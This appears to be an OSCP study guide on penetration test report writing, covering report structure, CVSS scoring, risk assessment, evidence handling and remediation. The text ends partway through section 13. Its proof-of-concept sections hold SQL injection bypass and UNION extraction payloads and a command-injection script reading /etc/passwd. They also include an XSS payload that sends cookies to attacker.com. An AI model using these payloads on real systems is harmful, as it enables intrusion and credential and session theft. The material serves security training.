OSCP Study Guide: Report Writing for Penetration Testers
Author: OSCP Research Guide Last Updated: 2026-08-31 Target Audience: OSCP Candidates preparing for the penetration testing exam report
Table of Contents
- Importance of Reporting in Penetration Testing
- Report Types
- Report Structure and Components
- Executive Summary Writing
- Technical Findings Documentation
- Vulnerability Severity Rating (CVSS Scoring)
- Risk Assessment Methodology
- Evidence Collection and Screenshots
- Proof of Concept (PoC) Documentation
- Remediation Recommendations Writing
- Chain of Custody for Evidence
- Report Templates and Standards
- Offensive Security Report Format Requirements
- Writing Clear Reproduction Steps
- Avoiding Common Reporting Mistakes
- Timeline and Methodology Documentation
- Appendices and Supporting Documentation
1. Importance of Reporting in Penetration Testing
Why Reporting Matters
- The report IS the deliverable. Hacking is the means; the report is the product.
- A perfect hack with a poor report = failed engagement.
- The report bridges the gap between technical findings and business decisions.
- It serves as legal documentation of the engagement scope and activities.
- It provides actionable intelligence for remediation teams.
Key Stakeholders Who Read Your Report
| Stakeholder | What They Care About | Report Section |
|---|---|---|
| CISO / Security Director | Overall risk posture, budget justification | Executive Summary |
| CTO / IT Director | Technical impact, remediation effort | Executive Summary + Technical Overview |
| System Administrators | Specific vulnerabilities, fix steps | Technical Findings |
| Developers | Code-level issues, patch details | Technical Findings + PoC |
| Legal / Compliance | Audit trail, regulatory alignment | Full Report + Appendices |
| External Auditors | Evidence of due diligence | Full Report |
The Reporting Value Chain
graph LR
A[Reconnaissance] --> B[Exploitation]
B --> C[Evidence Collection]
C --> D[Analysis & Triage]
D --> E[Report Writing]
E --> F[Remediation Guidance]
F --> G[Risk Reduction]
style E fill:#ff6b6b,stroke:#333,stroke-width:3px
style G fill:#51cf66,stroke:#333,stroke-width:2px
Critical Concepts to Master
- Business impact translation: Convert technical vulnerabilities into business risk.
- Audience awareness: Write for both technical and non-technical readers.
- Actionability: Every finding must have a clear remediation path.
- Defensibility: Your report must withstand scrutiny from auditors and legal teams.
Practical Tips
Tip: Before writing, ask yourself: “If I were the CISO, what would I need to know to make a decision?”
Tip: A good report should be understandable by a non-technical manager AND detailed enough for a senior engineer to implement fixes.
2. Report Types
Overview of Report Types
| Report Type | Audience | Length | Detail Level | Purpose |
|---|---|---|---|---|
| Executive Summary | C-Suite, Management | 2-4 pages | High-level | Decision making, budget approval |
| Technical Report | Engineers, Admins, Devs | 15-50+ pages | Detailed | Remediation implementation |
| Full Report | All stakeholders | Combined | Both | Complete engagement record |
Executive Summary
- Purpose: Enable leadership to understand risk without technical jargon.
- Length: 2-4 pages maximum.
- Tone: Professional, business-focused, concise.
- Key elements:
- Engagement overview and scope
- Overall risk rating
- Critical and high findings summary
- Business impact assessment
- Strategic recommendations
- Timeline for remediation
Technical Report
- Purpose: Provide engineers with everything needed to fix vulnerabilities.
- Length: Varies by engagement size.
- Tone: Technical, precise, reproducible.
- Key elements:
- Detailed methodology
- Each vulnerability with full technical details
- Proof of Concept (PoC) code and commands
- Screenshots and evidence
- Step-by-step remediation guidance
- References to CVEs and advisories
Full Report
- Purpose: Serve as the complete record of the engagement.
- Structure: Executive Summary + Technical Report + Appendices.
- Contains:
- All elements of both report types
- Raw data and logs (in appendices)
- Tool output and configurations
- Chain of custody documentation
Report Type Selection Matrix
graph TD
A[Engagement Complete] --> B{Who is the primary reader?}
B -->|Management| C[Executive Summary]
B -->|Technical Team| D[Technical Report]
B -->|Both / Audit| E[Full Report]
C --> F[Focus on risk & business impact]
D --> G[Focus on details & remediation]
E --> H[Include both + appendices]
style E fill:#ffd43b,stroke:#333,stroke-width:3px
Key Concepts
- Layered reporting: Same findings, different detail levels for different audiences.
- Consistency: Findings numbered consistently across all report sections.
- Cross-referencing: Executive summary references technical findings by ID.
3. Report Structure and Components
Standard Penetration Test Report Structure
graph TD
A[COVER PAGE] --> B[TABLE OF CONTENTS]
B --> C[DOCUMENT CONTROL]
C --> D[EXECUTIVE SUMMARY]
D --> E[TECHNICAL OVERVIEW]
E --> F[FINDINGS]
F --> G[RECOMMENDATIONS]
G --> H[CONCLUSION]
H --> I[APPENDICES]
subgraph FINDINGS
F1[Finding 1]
F2[Finding 2]
F3[Finding N]
end
subgraph APPENDICES
I1[Tool Output]
I2[Raw Logs]
I3[Glossary]
I4[References]
end
F --> F1
F --> F2
F --> F3
I --> I1
I --> I2
I --> I3
I --> I4
style A fill:#339af0,stroke:#333,stroke-width:2px
style D fill:#ff6b6b,stroke:#333,stroke-width:2px
style F fill:#ffd43b,stroke:#333,stroke-width:2px
Detailed Component Breakdown
| Component | Description | Required? | Page Estimate |
|---|---|---|---|
| Cover Page | Title, client, date, classification, author | Yes | 1 |
| Table of Contents | Auto-generated with page numbers | Yes | 1-2 |
| Document Control | Version history, change log, approvals | Yes | 1 |
| Disclaimer | Legal boundaries, scope limitations | Yes | 1 |
| Executive Summary | High-level findings for management | Yes | 2-4 |
| Engagement Overview | Scope, objectives, timeline, methodology | Yes | 2-3 |
| Technical Overview | Architecture tested, tools used | Yes | 2-3 |
| Findings | Individual vulnerability reports | Yes | Varies |
| Risk Summary | Aggregate risk matrix | Yes | 1-2 |
| Recommendations | Prioritized remediation plan | Yes | 2-3 |
| Conclusion | Final assessment and next steps | Yes | 1 |
| Appendices | Supporting evidence, raw data | Optional | Varies |
Document Control Table Template
| Version | Date | Author | Changes |
|---|---|---|---|
| 0.1 | 2026-08-01 | [Name] | Initial draft |
| 0.5 | 2026-08-15 | [Name] | Added findings, internal review |
| 1.0 | 2026-08-25 | [Name] | Final version, client approved |
Key Concepts
- Modular design: Each finding is self-contained and independently readable.
- Numbering scheme: Use consistent IDs (e.g., VULN-001, VULN-002).
- Classification marking: Clearly mark sensitivity (e.g., CONFIDENTIAL).
4. Executive Summary Writing
Purpose and Audience
- Primary audience: CISO, CTO, VP of Engineering, Board Members.
- Reading time: Should be consumable in 5-10 minutes.
- Goal: Enable informed decision-making without technical expertise.
Executive Summary Structure
graph TD
A[Engagement Overview] --> B[Overall Risk Rating]
B --> C[Key Findings Summary]
C --> D[Business Impact]
D --> E[Strategic Recommendations]
E --> F[Remediation Timeline]
style B fill:#ff6b6b,stroke:#333,stroke-width:3px
style D fill:#ffd43b,stroke:#333,stroke-width:2px
Writing Guidelines
| Do | Don’t |
|---|---|
| Use plain business language | Use technical jargon without explanation |
| Focus on risk and impact | Focus on technical mechanics |
| Provide clear numbers and metrics | Use vague descriptions |
| Prioritize findings by severity | List findings chronologically |
| Recommend actionable next steps | Leave remediation open-ended |
| Keep it concise (2-4 pages) | Write a novel |
Executive Summary Template
EXECUTIVE SUMMARY
1. ENGAGEMENT OVERVIEW
- What was tested and why
- When the engagement occurred
- Scope and objectives
2. OVERALL ASSESSMENT
- Overall risk rating (Critical / High / Medium / Low)
- Number of findings by severity
- Key risk areas identified
3. CRITICAL FINDINGS
- Finding 1: [Business-impact description]
- Finding 2: [Business-impact description]
- (Limit to Critical and High findings only)
4. BUSINESS IMPACT
- Potential financial impact
- Regulatory compliance implications
- Reputational risk
5. RECOMMENDATIONS
- Immediate actions (0-30 days)
- Short-term actions (30-90 days)
- Long-term improvements (90+ days)
Translating Technical to Business Language
| Technical Description | Business Translation |
|---|---|
| “SQL injection on login form allows database extraction” | “Attackers can access all customer data including names, emails, and payment information” |
| “CVE-2024-1234 in Apache Struts 2.5.30 allows RCE” | “Known critical vulnerability allows complete server takeover” |
| “Weak TLS 1.0 configuration detected” | “Encrypted communications can be intercepted, exposing sensitive data in transit” |
| “Default credentials on admin panel” | “Unauthorized users can access administrative functions without authentication” |
Key Concepts
- Risk quantification: Use numbers where possible (e.g., “affects 15,000 customer records”).
- Severity visualization: Use charts and heatmaps for quick comprehension.
- Prioritization: Always present the most critical findings first.
Practical Example
Bad: “We found an SQL injection vulnerability on the /login endpoint that allows extraction of the users table via UNION-based injection.”
Good: “A critical vulnerability in the user login page allows attackers to access the entire customer database, potentially exposing 15,000 customer records including names, email addresses, and encrypted passwords. This vulnerability can be exploited with basic technical skills and requires no authentication.”
5. Technical Findings Documentation
Finding Structure Template
Each finding should follow this consistent structure:
graph TD
A[Finding ID & Title] --> B[Severity Rating]
B --> C[Summary]
C --> D[Technical Details]
D --> E[Proof of Concept]
E --> F[Evidence / Screenshots]
F --> G[Impact]
G --> H[Remediation]
H --> I[References]
style A fill:#339af0,stroke:#333,stroke-width:2px
style B fill:#ff6b6b,stroke:#333,stroke-width:2px
style H fill:#51cf66,stroke:#333,stroke-width:2px
Finding Template
### VULN-001: SQL Injection in User Login Form
**Severity:** Critical
**CVSS Score:** 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
**Affected System:** webapp.example.com (192.168.1.100)
**Affected Component:** /login endpoint, POST parameter 'username'
**Discovered:** 2026-08-15
#### Summary
A SQL injection vulnerability exists in the login form. An attacker can extract, modify, or delete data from the backend database without authentication.
#### Technical Details
The 'username' parameter in the POST request to /login is directly concatenated into a SQL query without proper sanitization or parameterization. The application uses MySQL 5.7 as the backend database.
The vulnerable code pattern:
```sql
SELECT * FROM users WHERE username = '$username' AND password = '$password'
Proof of Concept
- Send the following POST request:
POST /login HTTP/1.1
Host: webapp.example.com
Content-Type: application/x-www-form-urlencoded
username=admin' OR '1'='1'--&password=test
-
The application returns a successful login response, bypassing authentication.
-
Data extraction using UNION-based injection:
username=' UNION SELECT 1,2,3,4,5--&password=x
Evidence
📷 [Screenshot Placeholder: SQL Injection Proof]Impact
- Complete database access
- Extraction of all user credentials
- Potential for data modification or deletion
- Full authentication bypass
Remediation
- Immediate: Implement parameterized queries / prepared statements
- Short-term: Deploy a Web Application Firewall (WAF) rule
- Long-term: Conduct code review for all database interactions
Example fix (Python):
# Vulnerable
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")
# Fixed
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
References
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
### Finding Categories
| Category | Examples | Common CVSS Range |
|---|---|---|
| **Injection** | SQLi, Command Injection, XSS, LDAP Injection | 7.0 - 10.0 |
| **Authentication** | Weak passwords, credential stuffing, session fixation | 5.0 - 9.0 |
| **Authorization** | IDOR, privilege escalation, missing access control | 6.0 - 9.0 |
| **Data Exposure** | Sensitive data in logs, unencrypted storage, verbose errors | 3.0 - 7.0 |
| **Security Misconfiguration** | Default credentials, open ports, verbose errors | 4.0 - 8.0 |
| **Vulnerable Components** | Outdated libraries, known CVEs | 5.0 - 10.0 |
| **Cryptographic Failures** | Weak algorithms, hardcoded keys, no encryption | 4.0 - 9.0 |
| **Server-Side** | SSRF, XXE, deserialization, path traversal | 6.0 - 10.0 |
### Key Concepts
- **Atomicity:** One finding per vulnerability. Do not combine unrelated issues.
- **Reproducibility:** Any qualified tester should be able to reproduce your findings.
- **Completeness:** Include all relevant technical details without unnecessary noise.
- **Attribution:** Reference CVEs, CWEs, and OWASP categories.
---
## 6. Vulnerability Severity Rating (CVSS Scoring)
### What is CVSS?
- **CVSS** = Common Vulnerability Scoring System.
- Industry-standard framework for rating vulnerability severity.
- Current version: **CVSS v3.1** (also v4.0 available).
- Score range: **0.0 (None) to 10.0 (Critical)**.
### Severity Rating Scale
| Score Range | Severity | Color | Response Time |
|---|---|---|---|
| 9.0 - 10.0 | **Critical** | Red | Immediate (24-48 hours) |
| 7.0 - 8.9 | **High** | Orange | Within 1 week |
| 4.0 - 6.9 | **Medium** | Yellow | Within 1 month |
| 0.1 - 3.9 | **Low** | Green | Within 3 months |
| 0.0 | **None** | Gray | As scheduled |
### CVSS v3.1 Metric Groups
```mermaid
graph TD
A[CVSS v3.1 Score] --> B[Base Metrics]
A --> C[Temporal Metrics]
A --> D[Environmental Metrics]
B --> B1[Attack Vector - AV]
B --> B2[Attack Complexity - AC]
B --> B3[Privileges Required - PR]
B --> B4[User Interaction - UI]
B --> B5[Scope - S]
B --> B6[Confidentiality - C]
B --> B7[Integrity - I]
B --> B8[Availability - A]
C --> C1[Exploit Code Maturity - E]
C --> C2[Remediation Level - RL]
C --> C3[Report Confidence - RC]
D --> D1[Confidentiality Req - CR]
D --> D2[Integrity Req - IR]
D --> D3[Availability Req - AR]
style B fill:#ff6b6b,stroke:#333,stroke-width:2px
style C fill:#ffd43b,stroke:#333,stroke-width:2px
style D fill:#94d82d,stroke:#333,stroke-width:2px
Base Metrics Explained
| Metric | Values | Description | Impact on Score |
|---|---|---|---|
| Attack Vector (AV) | N / A / L / P | How the attack is delivered | Network = highest score |
| Attack Complexity (AC) | L / H | Conditions needed for exploit | Low complexity = higher score |
| Privileges Required (PR) | N / L / H | Auth needed before exploit | No privs = higher score |
| User Interaction (UI) | N / R | Victim action required | None = higher score |
| Scope (S) | U / C | Does attack affect other components? | Changed = higher score |
| Confidentiality (C) | N / L / H | Impact on data confidentiality | High = higher score |
| Integrity (I) | N / L / H | Impact on data integrity | High = higher score |
| Availability (A) | N / L / H | Impact on system availability | High = higher score |
CVSS Vector String Examples
| Vulnerability | CVSS Vector | Score | Severity |
|---|---|---|---|
| Remote SQL Injection | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
9.8 | Critical |
| Authenticated XSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
5.9 | Medium |
| Local Privilege Escalation | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
7.8 | High |
| Open Port (No Exploit) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N |
0.0 | None |
CVSS Vector Abbreviations
| Abbreviation | Full Name |
|---|---|
| AV:N | Attack Vector: Network |
| AV:A | Attack Vector: Adjacent |
| AV:L | Attack Vector: Local |
| AV:P | Attack Vector: Physical |
| AC:L | Attack Complexity: Low |
| AC:H | Attack Complexity: High |
| PR:N | Privileges Required: None |
| PR:L | Privileges Required: Low |
| PR:H | Privileges Required: High |
| UI:N | User Interaction: None |
| UI:R | User Interaction: Required |
| S:U | Scope: Unchanged |
| S:C | Scope: Changed |
| C:N/L/H | Confidentiality: None/Low/High |
| I:N/L/H | Integrity: None/Low/High |
| A:N/L/H | Availability: None/Low/High |
Tools for CVSS Scoring
| Tool | Type | URL |
|---|---|---|
| First.org CVSS Calculator | Official | https://www.first.org/cvss/calculator/3.1 |
| Snyk CVSS Calculator | Web | https://snyk.io/vuln/data/cvss-calculator |
| nuclei | CLI | Built-in CVSS scoring |
| Nessus | Scanner | Auto-generates CVSS scores |
| OpenVAS | Scanner | Auto-generates CVSS scores |
Key Concepts
- Base score is the most important for OSCP reports.
- Temporal and Environmental scores are optional but add context.
- Be consistent in your scoring methodology across all findings.
- Justify your scores when they differ from published CVE scores.
Practical Tips
Tip: When in doubt, use the official First.org calculator. It provides the vector string automatically.
Tip: For OSCP, focus on Base Metrics. Temporal and Environmental are rarely required.
Tip: If a vulnerability has a published CVE, use the official CVSS score as a starting point, then adjust based on your specific context.
7. Risk Assessment Methodology
Risk Formula
Risk = Likelihood x Impact
Risk Matrix
graph LR
subgraph Likelihood
L1[Rare]
L2[Unlikely]
L3[Possible]
L4[Likely]
L5[Almost Certain]
end
subgraph Impact
I1[Negligible]
I2[Minor]
I3[Moderate]
I4[Major]
I5[Catastrophic]
end
L5 --> R1[Extreme Risk]
L4 --> R2[High Risk]
L3 --> R3[Medium Risk]
L2 --> R4[Low Risk]
L1 --> R5[Negligible Risk]
style R1 fill:#ff6b6b,stroke:#333,stroke-width:2px
style R2 fill:#ff922b,stroke:#333,stroke-width:2px
style R3 fill:#ffd43b,stroke:#333,stroke-width:2px
style R4 fill:#69db7c,stroke:#333,stroke-width:2px
style R5 fill:#a5d8ff,stroke:#333,stroke-width:2px
Risk Matrix Table
| Likelihood \ Impact | Negligible | Minor | Moderate | Major | Catastrophic |
|---|---|---|---|---|---|
| Almost Certain | Medium | High | High | Extreme | Extreme |
| Likely | Low | Medium | High | High | Extreme |
| Possible | Low | Medium | Medium | High | High |
| Unlikely | Negligible | Low | Medium | Medium | High |
| Rare | Negligible | Low | Low | Medium | Medium |
Likelihood Factors
| Factor | Description | Rating |
|---|---|---|
| Exploit availability | Public exploit code exists | Increases likelihood |
| Attack complexity | Simple to exploit | Increases likelihood |
| Authentication required | No auth needed | Increases likelihood |
| Target exposure | Internet-facing | Increases likelihood |
| Skill level required | Basic skills sufficient | Increases likelihood |
| Detection difficulty | Hard to detect | Increases likelihood |
Impact Factors
| Factor | Description | Rating |
|---|---|---|
| Data sensitivity | PII, financial, health data | Increases impact |
| System criticality | Production vs. development | Increases impact |
| Regulatory requirements | PCI-DSS, HIPAA, GDPR | Increases impact |
| Business disruption | Service downtime cost | Increases impact |
| Reputational damage | Customer trust impact | Increases impact |
| Lateral movement | Path to other systems | Increases impact |
Risk Assessment Process
flowchart TD
A[Identify Asset] --> B[Identify Threat]
B --> C[Identify Vulnerability]
C --> D[Assess Likelihood]
D --> E[Assess Impact]
E --> F[Calculate Risk]
F --> G{Risk Acceptable?}
G -->|No| H[Prioritize Remediation]
G -->|Yes| I[Document & Monitor]
H --> J[Implement Controls]
J --> K[Re-assess Risk]
style F fill:#ffd43b,stroke:#333,stroke-width:3px
style G fill:#ff6b6b,stroke:#333,stroke-width:2px
Key Concepts
- Risk is not the same as vulnerability. A vulnerability is a weakness; risk is the potential for harm.
- Context matters. The same vulnerability has different risk in different environments.
- Business alignment. Risk should be assessed from the organization’s perspective.
- Dynamic assessment. Risk changes over time as threats and controls evolve.
8. Evidence Collection and Screenshots
Evidence Types
| Evidence Type | Description | When to Use |
|---|---|---|
| Screenshots | Visual proof of vulnerability | All findings |
| Command output | Terminal output showing exploit | Technical findings |
| HTTP requests/responses | Burp Suite / curl output | Web vulnerabilities |
| Code snippets | Vulnerable source code | Source code review |
| Network captures | Wireshark / tcpdump output | Network vulnerabilities |
| File hashes | SHA256 of captured files | Malware / file analysis |
| Log entries | System/application logs | Authentication issues |
| Shell access | Proof of shell / user access | Post-exploitation |
Screenshot Best Practices
| Do | Don’t |
|---|---|
| Capture the full context | Crop out important information |
| Annotate with arrows and highlights | Leave screenshots unmarked |
| Include timestamps | Remove identifying information |
| Show both request and response | Show only partial output |
| Use consistent naming convention | Use generic names like “screenshot1.png” |
| Redact sensitive client data | Include real credentials in evidence |
Screenshot Naming Convention
{finding-id}_{description}_{timestamp}.png
Examples:
VULN-001_sqli-login-bypass_20260815.png
VULN-002_xss-reflected_20260815.png
VULN-003_shell-access-root_20260816.png
Evidence Collection Checklist
flowchart TD
A[Vulnerability Discovered] --> B[Take Screenshot]
B --> C[Capture Command Output]
C --> D[Save HTTP Request/Response]
D --> E[Record Timestamp]
E --> F[Note Affected System]
F --> G[Hash Evidence Files]
G --> H[Store Securely]
H --> I[Reference in Report]
style B fill:#339af0,stroke:#333,stroke-width:2px
style G fill:#ff6b6b,stroke:#333,stroke-width:2px
Tools for Evidence Collection
| Tool | Purpose | Key Features |
|---|---|---|
| Burp Suite | Web proxy and testing | Request/response capture, repeater |
| Wireshark | Network analysis | Packet capture, filtering |
| tcpdump | CLI packet capture | Lightweight, scriptable |
| gnome-screenshot | Linux screenshots | Region selection, delay |
| Snipping Tool | Windows screenshots | Built-in, annotation |
| hashdeep | File hashing | SHA256, MD5, SHA1 |
| auditd | Linux auditing | System call logging |
Key Concepts
- Chain of custody: Document who collected evidence, when, and how.
- Immutability: Hash all evidence files to prove they have not been altered.
- Redaction: Remove sensitive client data not relevant to the finding.
- Completeness: Capture enough evidence to prove the vulnerability exists.
Practical Tips
Tip: Always capture the HTTP request AND response together. A request alone does not prove exploitation.
Tip: Use Burp Suite’s “Copy as cURL” feature to include reproducible commands in your report.
Tip: Take screenshots of successful privilege escalation showing the new user context (whoami, id commands).
9. Proof of Concept (PoC) Documentation
What is a PoC?
- A Proof of Concept demonstrates that a vulnerability is real and exploitable.
- It provides step-by-step instructions to reproduce the issue.
- It proves impact without causing unnecessary damage.
PoC Documentation Structure
graph TD
A[Prerequisites] --> B[Step-by-Step Instructions]
B --> C[Expected Results]
C --> D[Impact Demonstration]
D --> E[Cleanup Steps]
style B fill:#ff6b6b,stroke:#333,stroke-width:3px
style C fill:#51cf66,stroke:#333,stroke-width:2px
PoC Template
#### Proof of Concept
**Prerequisites:**
- Access to: webapp.example.com
- Tools required: curl, Burp Suite
- No authentication required
**Steps to Reproduce:**
1. Send the following HTTP request:
```http
POST /api/users/search HTTP/1.1
Host: webapp.example.com
Content-Type: application/json
{"name": "admin' OR '1'='1'--"}
- Observe the response contains all user records:
{
"users": [
{"id": 1, "name": "admin", "email": "admin@example.com"},
{"id": 2, "name": "user1", "email": "user1@example.com"}
]
}
- Extract specific data using UNION injection:
POST /api/users/search HTTP/1.1
Host: webapp.example.com
Content-Type: application/json
{"name": "' UNION SELECT username,password,email FROM users--"}
Expected Result:
- The application returns all user credentials from the database.
- Response time increases slightly due to UNION query processing.
Impact Demonstrated:
- Full database access achieved
- All user credentials extracted
- Authentication bypass confirmed
### PoC Types by Vulnerability
| Vulnerability Type | PoC Approach | Tools |
|---|---|---|
| **SQL Injection** | UNION-based, boolean-based, time-based | sqlmap, Burp Suite, manual |
| **XSS** | Reflected, stored, DOM-based | Browser dev tools, Burp Suite |
| **Command Injection** | OS command execution | curl, netcat, manual |
| **SSRF** | Internal network access | curl, Burp Suite, Python |
| **XXE** | File read, SSRF via XML | Burp Suite, custom XML payloads |
| **Privilege Escalation** | Kernel exploit, SUID abuse | LinPEAS, WinPEAS, manual |
| **Authentication Bypass** | Token manipulation, logic flaws | Burp Suite, jwt_tool |
| **Path Traversal** | File read via directory traversal | curl, Burp Suite |
### PoC Code Examples
#### SQL Injection PoC (Python)
```python
import requests
target = "http://webapp.example.com/login"
payload = "' OR '1'='1'--"
data = {
'username': payload,
'password': 'anything'
}
response = requests.post(target, data=data)
if response.status_code == 200 and 'Welcome' in response.text:
print("[+] SQL Injection confirmed - Authentication bypassed!")
print(f"Response: {response.text[:200]}")
else:
print("[-] SQL Injection not confirmed")
Command Injection PoC (Python)
import requests
target = "http://webapp.example.com/ping"
payload = "127.0.0.1; cat /etc/passwd"
params = {'ip': payload}
response = requests.get(target, params=params)
if 'root:' in response.text:
print("[+] Command Injection confirmed!")
print(f"Output: {response.text[:500]}")
XSS PoC (JavaScript)
<!-- Reflected XSS Payload -->
<script>alert(document.cookie)</script>
<!-- Stored XSS Payload -->
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
<!-- DOM-based XSS Payload -->
#<script>alert(1)</script>
Key Concepts
- Safety first: PoC should demonstrate the vulnerability without causing damage.
- Reproducibility: Any qualified tester should get the same results.
- Minimal impact: Use read-only operations where possible.
- Documentation: Include both the PoC code and its output.
Practical Tips
Tip: For OSCP, always include the exact commands you used. Copy-paste from your terminal.
Tip: Show the “before” and “after” state. For privilege escalation, show both the initial user and the escalated user.
Tip: For web vulnerabilities, include the full HTTP request and response, not just the payload.
10. Remediation Recommendations Writing
Remediation Writing Principles
| Principle | Description |
|---|---|
| Specific | Provide exact steps, not vague advice |
| Actionable | The reader should know exactly what to do |
| Prioritized | Order by urgency and effort |
| Verifiable | Include how to verify the fix works |
| Proportional | Match remediation effort to risk level |
Remediation Structure
graph TD
A[Immediate Actions] --> B[Short-term Actions]
B --> C[Long-term Actions]
C --> D[Verification Steps]
subgraph Immediate
A1[Apply hotfix]
A2[Enable WAF rule]
A3[Restrict access]
end
subgraph Short-term
B1[Code remediation]
B2[Configuration hardening]
B3[Security training]
end
subgraph Long-term
C1[Architecture review]
C2[Security program]
C3[Automated testing]
end
A --> A1
A --> A2
A --> A3
B --> B1
B --> B2
B --> B3
C --> C1
C --> C2
C --> C3
style A fill:#ff6b6b,stroke:#333,stroke-width:2px
style B fill:#ffd43b,stroke:#333,stroke-width:2px
style C fill:#51cf66,stroke:#333,stroke-width:2px
Remediation by Vulnerability Type
| Vulnerability | Immediate Fix | Long-term Fix | Verification |
|---|---|---|---|
| SQL Injection | Block with WAF rule | Use parameterized queries | Retest with sqlmap |
| XSS | Enable Content-Security-Policy | Implement output encoding | Retest with Burp |
| Weak Passwords | Force password reset | Implement MFA | Attempt brute force |
| Outdated Software | Apply security patches | Implement patch management | Version check |
| Open Ports | Close unnecessary ports | Network segmentation | Port scan |
| Default Credentials | Change immediately | Credential rotation policy | Login attempt |
| Information Disclosure | Reduce error verbosity | Implement proper error handling | Retest endpoints |
| Missing Encryption | Enable TLS/SSL | Certificate management | SSL Labs test |
Remediation Template
#### Remediation
**Immediate Actions (0-7 days):**
1. Apply the security patch for [component] version [X.X.X]
2. Enable the WAF rule for [vulnerability type]
3. Restrict access to [affected endpoint] to authorized IPs only
**Short-term Actions (7-30 days):**
1. Refactor the vulnerable code to use [secure pattern]
2. Implement [security control] across all similar components
3. Conduct a code review for all [type] interactions
**Long-term Actions (30-90 days):**
1. Implement automated security testing in CI/CD pipeline
2. Conduct security awareness training for development team
3. Establish a regular vulnerability scanning schedule
**Verification:**
1. Retest the vulnerability using the same PoC
2. Confirm the fix does not introduce new issues
3. Document the verification results
Writing Effective Remediation
| Bad Recommendation | Good Recommendation |
|---|---|
| “Fix the SQL injection” | “Replace string concatenation with parameterized queries using prepared statements” |
| “Update the software” | “Upgrade Apache Struts from 2.5.30 to 2.5.33 or later to address CVE-2024-1234” |
| “Improve security” | “Implement Content-Security-Policy header with the following directive: default-src ‘self’” |
| “Use strong passwords” | “Enforce minimum 12-character passwords with complexity requirements and implement MFA” |
| “Patch the system” | “Apply Ubuntu security update USN-6543-1 by running: sudo apt update && sudo apt upgrade” |
Key Concepts
- Defense in depth: Recommend multiple layers of protection.
- Root cause vs. symptom: Address the underlying issue, not just the symptom.
- Cost-benefit analysis: Consider the effort vs. risk reduction.
- Standards alignment: Reference industry standards (OWASP, CIS, NIST).
11. Chain of Custody for Evidence
What is Chain of Custody?
- A documented process tracking evidence from collection to disposal.
- Ensures evidence integrity and admissibility.
- Critical for legal and compliance purposes.
Chain of Custody Elements
| Element | Description | Example |
|---|---|---|
| Collector | Who collected the evidence | John Doe, Penetration Tester |
| Date/Time | When evidence was collected | 2026-08-15 14:30 UTC |
| Location | Where evidence was collected | Remote, via VPN |
| Method | How evidence was collected | Screenshot, packet capture |
| Storage | Where evidence is stored | Encrypted USB, secure server |
| Hash | Cryptographic hash of evidence | SHA256: a1b2c3d4… |
| Access Log | Who accessed the evidence | Audit trail |
| Disposition | How evidence will be disposed | Secure deletion after 90 days |
Chain of Custody Log Template
#### Chain of Custody Log
| Date/Time | Action | Performed By | Witness | Notes |
|---|---|---|---|---|
| 2026-08-15 14:30 | Evidence collected | J. Doe | - | Screenshot of SQLi exploit |
| 2026-08-15 14:31 | File hashed | J. Doe | - | SHA256: abc123... |
| 2026-08-15 14:35 | Stored in secure location | J. Doe | - | Encrypted volume /evidence/ |
| 2026-08-20 09:00 | Accessed for report | J. Doe | - | Read-only access |
| 2026-09-15 10:00 | Evidence archived | J. Doe | - | Moved to cold storage |
Evidence Handling Best Practices
| Practice | Description |
|---|---|
| Write blockers | Use hardware write blockers for disk imaging |
| Hash on collection | Hash evidence immediately upon collection |
| Secure storage | Store in encrypted, access-controlled locations |
| Access logging | Log every access to evidence files |
| Backup | Maintain multiple copies in separate locations |
| Retention policy | Define how long evidence is retained |
| Secure disposal | Use secure deletion methods (shred, degauss) |
Key Concepts
- Integrity: Evidence must not be altered from collection to presentation.
- Accountability: Every action on evidence must be logged.
- Continuity: No gaps in the evidence handling timeline.
- Authenticity: Evidence must be proven to be what it claims to be.
12. Report Templates and Standards
Industry Standards and Frameworks
| Standard | Organization | Focus Area |
|---|---|---|
| PTES | Penetration Testing Execution Standard | Complete testing lifecycle |
| OSSTMM | Open Source Security Testing Methodology | Operational security testing |
| ISSAF | Information Systems Security Assessment | Comprehensive assessment |
| NIST SP 800-115 | NIST | Technical guide for security testing |
| OWASP Testing Guide | OWASP | Web application testing |
| ISO 27001 | ISO | Information security management |
| PCI-DSS | PCI SSC | Payment card security |
| COBIT | ISACA | IT governance and management |
Report Template Sources
| Source | Format | Cost | Notes |
|---|---|---|---|
| Offensive Security | PDF/Word | Included with OSCP | Official OSCP template |
| Rapid7 | Word | Free | Professional quality |
| Qualys | Word | Free | Comprehensive |
| Custom | Markdown/PDF | Free | Tailored to your style |
| LaTeX templates | LaTeX | Free | Academic quality |
OSCP Report Template Structure
graph TD
A[Offensive Security Report Template] --> B[Executive Summary]
A --> C[Technical Summary]
A --> D[Findings]
A --> E[Appendix]
B --> B1[Overview]
B --> B2[Risk Rating]
B --> B3[Key Findings]
C --> C1[Methodology]
C --> C2[Tools Used]
C --> C3[Scope]
D --> D1[Finding 1]
D --> D2[Finding 2]
D --> D3[Finding N]
E --> E1[References]
E --> E2[Glossary]
E --> E3[Tool Output]
style A fill:#339af0,stroke:#333,stroke-width:3px
Key Report Standards
| Standard | Key Requirements |
|---|---|
| PTES | Technical report, executive summary, methodology documentation |
| NIST 800-115 | Scope definition, risk assessment, findings, recommendations |
| OWASP | Web-specific findings, CVSS scoring, remediation guidance |
| ISO 27001 | Risk-based approach, management review, continuous improvement |
Key Concepts
- Consistency: Use the same template for all engagements.
- Customization: Adapt templates to client and engagement specifics.
- Compliance: Align with relevant industry standards.
- Version control: Track template changes over time.
13. Offensive Security Report Format Requirements
OSCP Exam Report Requirements
| Requirement | Description | Status |
|---|---|---|
| Format | PDF or Word document | Mandatory |
| Length | No minimum, but must be comprehensive | Mandatory |
| Executive Summary | High-level overview for management | Mandatory |
| Technical Findings with details | Each machine with vulnerabilities | Mandatory |
| Proof of exploitation | Evidence of successful exploitation | Mandatory |
| Remediation | Recommendations for each finding | Mandatory |
